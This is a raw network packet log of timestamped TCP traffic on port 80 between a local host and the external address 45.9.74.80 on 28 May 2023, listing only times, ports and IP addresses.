May 28, 2023 10:42:44.007982969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008024931 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008029938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008075953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008078098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008124113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008171082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008215904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008258104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008280039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008332014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008378983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008394003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008424044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008446932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008474112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008521080 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008568048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008574963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008658886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008704901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008704901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008753061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008799076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008799076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008847952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008888960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008894920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008943081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.008982897 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.008987904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009036064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009080887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009124041 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009124994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009171963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009212971 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009217978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009265900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009310007 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009314060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009361982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009403944 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009408951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009455919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009496927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009500980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009550095 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009596109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.009597063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.009650946 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.012958050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.013616085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.017446995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.017479897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.017512083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.017668009 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.020881891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.020914078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.020947933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.020979881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.020982981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.021313906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.023458958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023502111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023542881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023576975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.023585081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023627996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023660898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.023669958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023713112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023746014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.023755074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023796082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023837090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.023838043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023880005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.023915052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.024231911 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.025660038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.025702953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.026119947 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.026546001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.026587009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.026628971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.026669025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.026968002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.027012110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.027012110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.027055025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.027090073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.027098894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.027302980 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.027678013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029021025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029062986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029108047 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029143095 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.029146910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029189110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.029191017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029233932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029274940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029309988 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.029316902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029580116 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029620886 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029624939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.029656887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.029664040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029706001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029784918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.029963970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034106970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034154892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034199953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034245014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034291029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034338951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034343004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034383059 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034389019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034435034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034472942 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034482002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034528017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034567118 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034574986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034626961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034662008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034672022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034718037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034753084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034761906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034807920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034851074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034852982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034898043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034934998 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.034944057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.034989119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035022974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035034895 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035080910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035125971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035161972 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035172939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035218000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035264015 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035309076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035326958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035326958 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035357952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035403967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035449982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035486937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035495996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035542011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035578012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035587072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035634041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035679102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035679102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035723925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035763025 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035769939 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035816908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035856962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035861969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035907030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035950899 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.035952091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.035998106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036035061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036043882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036087990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036125898 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036134958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036183119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036220074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036227942 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036293030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036344051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036360979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036390066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036408901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036437035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036483049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036529064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036575079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036588907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036623001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036676884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036685944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036736012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036782980 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036784887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036834002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036880970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036881924 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.036927938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036973953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.036993027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.037020922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.037067890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.037101984 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.037118912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.037161112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.038223982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.038270950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.038316965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.038343906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.040364027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.042191982 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.042236090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.044361115 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.045444965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.045490026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.045531988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.045581102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048352957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048394918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048438072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048480988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048523903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048536062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048567057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048609018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048609972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048654079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048696041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048697948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048741102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048784018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048784018 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048826933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048867941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.048871994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048917055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.048964977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.050673962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.050776958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.050841093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.051594019 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.051644087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.051687956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.051696062 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.051733017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.051779985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.051851034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.051851034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.053803921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.053850889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.053895950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.053941011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.053986073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.053993940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054028034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054033995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054080963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054126024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054126978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054172993 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054213047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054219007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054373980 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054418087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054419041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054467916 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054512024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054521084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.054557085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.054600954 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.061760902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.061850071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.061896086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.061942101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.061988115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062033892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062078953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062082052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062082052 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062127113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062175035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062203884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062220097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062267065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062272072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062325001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062362909 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062374115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062419891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062464952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062464952 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062513113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062555075 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062560081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062607050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062647104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062654018 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062700987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062741995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062747002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062793970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062839985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062841892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062886953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062931061 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.062932968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.062979937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063018084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063024998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063071012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063117027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063118935 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063163042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063208103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063215017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063254118 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063294888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063301086 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063352108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063393116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063397884 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063446045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063489914 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063492060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063550949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063596010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063606024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063642979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063688993 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063689947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063738108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063779116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063786030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063832998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063873053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.063878059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063925028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063970089 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.063971996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064016104 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064058065 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.064064026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064111948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.064157963 CEST	80	49704	45.9.74.80	192.168.2.3
